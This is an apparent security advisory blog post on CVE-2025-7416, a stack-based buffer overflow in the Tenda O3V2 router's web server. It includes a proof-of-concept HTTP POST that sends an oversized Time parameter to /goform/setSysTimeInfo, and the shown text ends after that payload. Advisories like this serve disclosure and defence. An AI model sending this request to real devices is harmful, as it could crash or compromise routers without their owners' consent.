Overview
Recently, a critical vulnerability was discovered in Tenda O3V2 1.0.0.12(3880) that has the potential to compromise systems and potentially leak sensitive data. This vulnerability is particularly concerning due to its ability to be exploited remotely, potentially allowing attackers to breach targeted systems without any physical access. This blog post will provide a detailed analysis of the vulnerability, its impact, and how it can be mitigated.
The vulnerability, known as CVE-2025-7416, affects the httpd component of the Tenda O3V2 device, specifically the fromSysToolTime function in the /goform/setSysTimeInfo file. The exploitation of this vulnerability can result in a stack-based buffer overflow, providing attackers with the ability to execute arbitrary code or cause a denial of service.
Vulnerability Summary
CVE ID: CVE-2025-7416
Severity: Critical (CVSS: 8.8)
Attack Vector: Remote
Privileges Required: None
User Interaction: None
Impact: System Compromise, Potential Data Leakage
Affected Products
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Product | Affected Versions
Tenda O3V2 | 1.0.0.12(3880)
How the Exploit Works
The vulnerability is triggered by a manipulation of the ‘Time’ argument in the fromSysToolTime function. By sending a specially crafted request to the /goform/setSysTimeInfo endpoint with a malformed ‘Time’ argument, an attacker can cause a stack-based buffer overflow. This happens because of insufficient boundary checks while handling the ‘Time’ input, allowing an attacker to overwrite the stack with arbitrary values, which could lead to code execution.
Conceptual Example Code
Here’s a conceptual example of how the vulnerability might be exploited. The following HTTP request sends a malicious ‘Time’ argument to the vulnerable endpoint:
“`http
POST /goform/setSysTimeInfo HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
Time=111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
